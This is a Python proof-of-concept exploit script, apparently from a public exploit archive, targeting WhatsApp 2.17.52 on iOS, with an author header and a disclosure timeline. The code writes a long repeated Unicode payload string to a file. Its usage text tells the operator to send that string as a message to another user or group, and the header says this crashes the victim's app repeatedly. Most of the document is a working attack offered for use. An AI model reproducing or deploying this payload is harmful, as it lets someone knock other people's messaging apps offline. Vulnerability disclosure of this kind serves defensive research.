WhatsApp 2.17.52 Memory Corruption

`#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
# Found this and more exploits on my open source security project:  
http://www.exploitpack.com  
# Exploit Author: Juan Sacco <[email protected]> at KPN Red Team -  
http://www.kpn.com  
# Date and time of release: 11 October 2017  
#  
# Tested on: iPhone 5/6s iOS 10.3.3 and 11  
#  
# Description:  
# WhatsApp 2.17.52 and prior is prone to a remote memory corruption.  
# This type of attacks are possible if the program uses memory  
inefficiently and does not impose limits on the amount of state used  
when necessary.  
#  
# Impact:  
# Resource exhaustion attacks exploit a design deficiency. An attacker  
could exploit this vulnerability to remotely corrupt the memory of the  
application forcing an uhandled exception  
# in the context of the application that could potentially result in a  
denial-of-service condition and/or remote memory corruption.  
#  
# Warning note:  
# Once a user receives the offending message it will automatically  
crash the application and if its restarted it will crash again until  
the message its manually removed from the user's history.  
#  
# Timeline:  
# 09/13/2017 - Research started  
# 09/13/2017 - First proof of concept  
# 09/15/2017 - Reported to Whatsapp  
# 09/20/2017 - Report Triaged by Facebook  
# 11/01/2017 - Facebook never replied back with a status fix  
# 11/01/2017 - Disclosure as zero day  
# Vendor homepage: http://www.whatsapp.com  
  
import sys  
reload(sys)  
  
def whatsapp(filename):  
sys.setdefaultencoding("utf-8")  
payload = u'O" O(c) Oa O<< O! O O(r) O- Odeg O+- O2 O3 O' Ou OP O* O, O1 Oo U U U U U U' * 1337  
sutf8 = payload.encode('UTF-8')  
print "[*] Writing to file: " + filename  
open(filename, 'w').write(payload)  
print "[*] Done."  
  
def howtouse():  
print "Usage: whatsapp.py [FILENAME]"  
print "[*] Mandatory arguments:"  
print "[-] FILENAME"  
sys.exit(-1)  
  
if __name__ == "__main__":  
try:  
print "[*] WhatsApp 2.17.52 iOS - Remote memory corruption by  
Juan Sacco"  
print "[*] How to use: Copy the content of the file and send  
it as a message to another whatsapp user or group"  
whatsapp(sys.argv[1])  
except IndexError:  
howtouse()  
`